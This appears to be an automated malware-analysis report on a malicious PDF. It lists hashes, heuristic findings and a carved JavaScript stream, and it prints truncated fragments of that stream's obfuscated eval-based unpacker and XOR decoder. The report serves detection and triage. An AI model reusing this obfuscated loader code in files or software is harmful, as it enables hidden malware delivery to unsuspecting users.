PDF malware analysis — malicious · ef4249837b058f5b

MALICIOUS

PDF

8.8 KB Created: 2009-07-02 00:14:12 Authoring application: xdCJOLwFjBEF (via fgbBzyhAmjBnE) First seen: 2026-05-08

MD5: 300b872bde0c29e220f2dfa27ffd4303 SHA-1: bb1fafc4289ccb0ddf36dc893a1fe80bcb8aafca SHA-256: ef4249837b058f5b4d085f9e6c6f7affc67f02d8c6167f5c9f22f20e97a5e729

116 Risk Score

Malware Insights

MITRE ATT&CK

T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by multiple heuristic firings and the presence of an extracted JavaScript file. The ML classifier strongly suggests malicious intent. The document body contains nonsensical text, suggesting it's a lure. The embedded JavaScript is the primary mechanism for delivering the malicious payload, likely involving obfuscated code that attempts to download and execute further stages.

Machine Learning

Nyx PDF Classifier malicious score 1.0000

Heuristics 4

JavaScript action low 2 related findings PDF_JAVASCRIPT

PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

PDF JavaScript exploit cluster critical PDF_JS_EXPLOIT_CLUSTER

PDF combines an executable JavaScript/action surface with exploit staging indicators such as eval/unescape/fromCharCode, XFA script content, or a related CVE pattern. Benign form JavaScript remains low-severity, but this correlated cluster is high-confidence malicious behavior.

Matched line in script

,d
\){e=function\(c\){return\(c<a?'':e\(parseInt\(c/a\)\)\)+\(\(c=c%a\)>35?String.fromCharCode\(c+29\):c.toString\(36\)\)};if\(!''.replace\(/^/,String\)\){while\(c--\){d[e\(c\)]=k[c]||e\(c\)}k=[function\(e\){return d[e]}];e=function\(\){return'\\\\w+'};c=1};while\(c--\){if\(k[c]\){p=p.replace\(new RegExp\('\\\\b'+e\(c\)+'\\\\b','g'\),k[c]\)}}return p}\('1e 2G\(Z\){O M=0;O R="";2H\(M=0;M<Z.2F;M++\){R=R+2E.2C\(Z.2D\(M\)^1\)}1f R}1e 1k\(1g\){1f 2I\(1g\)}O V=2J.2O.2N\(\);V=V.1m\(/\\\\D/g,""\);O 2M="$2K …
)

Embedded JS stream low PDF_JS

PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE

One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

Filename	Kind	Source	Size
`javascript_obj0007_000.js`	pdf-javascript-stream	PDF /JS object 7 at offset 0x32B	7421 bytes
SHA-256: `ff3bf2cbfbacf32cae7e976a67fc1e24fc079987079547110521e9362d9cfb18`
Detection ClamAV: No threats found Obfuscation or payload: likely Carved artifact contains 4 eval/decoder/string-building token(s).
Preview script First 1,000 lines of the extracted script function Q7qwzuc(Mgj957gv19){ /* 333 * 12 // 9203 */ eval( Mgj957gv19 ); } eval(function( p ,a ,c ,k ,e ,d ){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]\|\|e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('1e 2G(Z){O M=0;O R="";2H(M=0;M<Z.2F;M++){R=R+2E.2C(Z.2D(M)^1)}1f R}1e 1k(1g){1f 2I(1g)}O V=2J.2O.2N();V=V.1m(/\\D/g,"");O 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